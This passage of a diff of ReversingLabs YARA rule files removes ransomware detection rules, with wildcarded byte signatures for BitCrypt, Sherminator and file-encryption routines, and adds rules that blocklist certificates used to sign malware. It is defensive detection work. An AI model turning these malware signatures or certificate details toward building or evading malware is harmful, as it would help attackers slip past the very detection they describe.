?? ?? 50 56 8D 85 ?? ?? ?? ?? 50 FF D7 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 66 39 85 ?? ?? ?? ?? 75 ?? 33 C9 - EB ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 90 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 - 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 51 50 E8 ?? ?? ?? ?? 99 83 C4 ?? 0B - C2 75 ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 83 CB ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 BA ?? ?? ?? ?? 8B CF 8D A4 24 - ?? ?? ?? ?? 66 8B 31 66 3B 32 75 ?? 66 85 F6 74 ?? 66 8B 41 ?? 66 3B 42 ?? 75 ?? 83 - } - $find_files_p3 = { - C1 ?? 83 C2 ?? 66 85 C0 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 - ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 - ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 - C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? - 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 - EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ?? - 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 - ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? - 8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 - ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? - ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 0F 66 3B 08 75 ?? 66 85 C9 74 ?? 66 8B 4F ?? 66 3B 48 - ?? 75 ?? 83 C7 ?? 83 C0 ?? 66 85 C9 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 85 DB 7F ?? 8B 95 ?? ?? ?? ?? 7C ?? 81 - } - $find_files_p4 = { - FA ?? ?? ?? ?? 73 ?? 3B D8 0F 8F ?? ?? ?? ?? 7C ?? 3B D1 73 ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 EC ?? 8D 95 ?? ?? ?? ?? 8B CC 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? - ?? 83 C4 ?? 84 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 3B D8 7F - ?? 7C ?? 8B 85 ?? ?? ?? ?? 3B C1 73 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 8B 3D ?? - ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? - ?? 85 C0 8B 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D - ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 8B F1 C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 74 ?? 83 C8 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 56 8D 85 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 0F 57 - C0 68 ?? ?? ?? ?? 50 F3 0F 7F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? - ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? - 57 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B FF - 81 FF ?? ?? ?? ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 - 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 6A ?? 50 E8 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 6A ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 - ?? 8B C7 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 BE ?? ?? ?? ?? 2B F0 8D 85 ?? ?? ?? ?? - 56 03 C7 56 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 F7 8D 85 ?? ?? - ?? ?? 56 50 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 6A ?? 50 E8 ?? - ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? - 83 C4 ?? 33 CD 33 C0 5F 5E E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xingning Dexin Network Technology Co., Ltd." and pe.signatures [ i ] . serial == "61:fe:6f:00:bd:79:68:42:10:53:40:50:ff:46:bc:92" and 1512000000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Bitcrypt : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Cert_Blocklist_0323Cc4E38735B0E6Efba76Ea25C73B7 : INFO FILE { meta: - description = "Yara rule that detects BitCrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f00a0fd8-31a9-5ee6-b560-09ccf6fe490b" - date = "2020-06-26" - modified = "2020-07-15" + id = "0f3889d5-fb57-5745-999e-7dff0ddf7ee9" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BitCrypt.yara#L3-L112" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14260-L14276" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "66cfe16a182e7f20d6358be9569ada5e6c36c94d44781d8c741638e1b174d44e" + logic_hash = "48bda7f61c9705ae70add3940f10d65fc7f7a776cec91a244f0e5bde07303831" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BitCrypt" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $bc_bcdedit = { - 55 8B EC 6A ?? 53 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B D8 BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3 - E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 45 - ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? - ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? C3 - } - $bc_enum_drives_a_z = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 D2 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B F0 33 C0 55 68 ?? ?? ?? - ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 06 B3 ?? 8D 85 ?? ?? ?? ?? 8B D3 E8 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? - 8D 45 ?? B1 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B D3 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 E8 ?? 75 1B 8D 85 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? - ?? 8B 06 8B 08 FF 51 ?? 43 80 FB ?? 0F 85 65 FF FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? C3 - } - $bc_do_extensions_1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D - ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 7D ?? 8B 5D ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? - ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 81 01 00 00 E8 ?? ?? ?? ?? BA ?? - ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? 8B F0 8B C3 8B 14 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 28 A0 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? - 50 8B 03 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 85 C0 75 C8 EB 28 A0 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8B 03 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B - C3 E8 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 C8 FF 75 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? DB 85 ?? ?? ?? ?? 83 C4 ?? DB 3C - } - $bc_do_extensions_2 = { - 24 9B 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B C7 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 13 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 17 8D 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B3 ?? EB 02 33 DB 33 C0 5A 59 59 64 89 10 EB 0C E9 ?? ?? ?? ?? 33 DB E8 ?? ?? - ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB D0 8B C3 5F 5E 5B 8B E5 5D C2 - } - $bc_do_files_1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 8B F0 - 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B3 ?? 8B 06 E8 ?? ?? ?? ?? - 89 45 ?? 8B 16 8D 85 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B F8 85 FF 0F 85 91 00 00 00 F6 85 ?? ?? ?? ?? ?? 75 73 56 8D B5 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A5 - 5E 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 33 D2 E8 ?? ?? ?? ?? 83 C4 ?? DD 1C 24 9B 8D 45 ?? E8 - ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 36 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? - ?? ?? 8B 45 ?? 8B 40 ?? 8B 00 8B 08 FF 51 ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 6F FF FF FF 8D 85 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 84 DB 0F 84 B7 00 00 00 8B 16 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D - } - $bc_do_files_2 = { - 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 75 7E F6 85 ?? ?? ?? ?? ?? 74 64 8B 85 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 74 52 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 40 FF 36 FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B - C6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8B C6 8B 55 ?? E8 57 FE FF FF 59 84 C0 75 04 33 DB EB 21 8B 55 ?? 42 8B C6 - B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 82 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 - 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 - } - $bc_main_1 = { - 55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 F9 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 - 89 20 33 C0 A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? - ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? - ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 8D 45 ?? 8B 0D ?? ?? ?? ?? - 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 7A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B - } - $bc_main_2 = { - 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 45 ?? 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 33 C0 E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? 8B 0D ?? ?? ?? ?? 8B 15 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 11 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B D8 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 80 FB ?? 0F 85 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? B2 ?? A1 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ED A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 83 F8 ?? 0F - 8E ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 99 F7 3D ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 10 FF 52 ?? 99 F7 3D - ?? ?? ?? ?? 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 48 85 C0 7C ?? 40 89 45 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? - } - $bc_main2 = { - E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 45 ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D - ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $bc_main_1 at pe.entry_point ) and $bc_main_2 and $bc_main2 and $bc_bcdedit and $bc_enum_drives_a_z and $bc_do_extensions_1 and $bc_do_extensions_2 and $bc_do_files_1 and $bc_do_files_2 + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xingning Dexin Network Technology Co., Ltd." and pe.signatures [ i ] . serial == "03:23:cc:4e:38:73:5b:0e:6e:fb:a7:6e:a2:5c:73:b7" and 1512000000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Sherminator : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_1F9Aca069Ac1B6Bfb0E14861Ec857Bf6 : INFO FILE { meta: - description = "Yara rule that detects Sherminator ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "99792a22-8027-557f-927f-30eac4d1e690" - date = "2020-06-26" - modified = "2020-07-15" + id = "b78e3bc2-5b65-507a-9183-148f97baa3e8" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sherminator.yara#L1-L157" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14278-L14294" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "22ac61b95f6ca4530e81a23fdd05be93e368647ca7100097a94eae3c6ce3b7d1" + logic_hash = "d7c9a471455768a00deeb73900bf80a98f0b2c9da1fd09d568e2998deaf404d2" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Sherminator" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $enum_resources_p1 = { - 55 89 E5 57 53 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 - ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 45 ?? 83 7D ?? - ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? C7 44 24 ?? - ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 89 54 - 24 ?? 8B 55 ?? 89 54 24 ?? 8D 55 ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 - 45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 89 - } - $enum_resources_p2 = { - 45 ?? 8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 - ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? 8B 15 ?? - ?? ?? ?? 8B 0D ?? ?? ?? ?? C1 E1 ?? 8D 1C 0A C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? - ?? ?? ?? 89 03 A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? C1 E2 ?? 01 D0 8B 00 85 C0 0F 84 ?? - ?? ?? ?? 8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 50 ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? - ?? ?? C1 E1 ?? 01 C8 8B 00 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 15 - ?? ?? ?? ?? C1 E2 ?? 01 D0 8B 10 89 D0 B9 ?? ?? ?? ?? 89 C3 B8 ?? ?? ?? ?? 89 DF F2 - AE 89 C8 F7 D0 83 E8 ?? 01 D0 66 C7 00 ?? ?? A1 ?? ?? ?? ?? 83 C0 ?? A3 ?? ?? ?? ?? - 8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 83 E0 ?? 85 C0 74 ?? 8B 45 ?? C1 E0 - ?? 89 C2 8B 45 ?? 01 D0 89 04 24 E8 ?? ?? ?? ?? EB ?? 90 83 45 ?? ?? 8B 45 ?? 39 45 - ?? 0F 82 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? - ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 90 90 8D 65 ?? 5B 5F 5D C3 - } - $encrypt_files_p1 = { - 55 89 E5 57 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? - ?? 89 04 24 E8 ?? ?? ?? ?? 89 